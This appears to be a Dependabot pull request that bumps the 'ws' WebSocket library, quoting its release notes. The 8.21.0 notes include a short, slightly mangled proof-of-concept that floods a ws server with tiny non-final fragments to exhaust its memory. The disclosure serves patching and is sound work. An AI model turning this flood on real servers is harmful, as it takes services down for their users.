chore(deps-dev): bump ws from 8.20.1 to 8.21.3

[dependabot]

Bumps ws from 8.20.1 to 8.21.3.

Release notes

Sourced from ws's releases.

8.21.3

Bug fixes

• The server now correctly rejects permessage-deflate offers if the incoming client_max_window_bits parameter value is smaller than its configured clientMaxWindowBits (e97a20ea).

8.21.2

Bug fixes

• Fixed a test for CITGM (2eb3be0b).

8.21.1

Bug fixes

• Empty fragments are now counted toward the limit (a2f4e7c0).
• The default values of the maxBufferedChunks and maxFragments options have been reduced (f197ac65).

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
</tr></table>
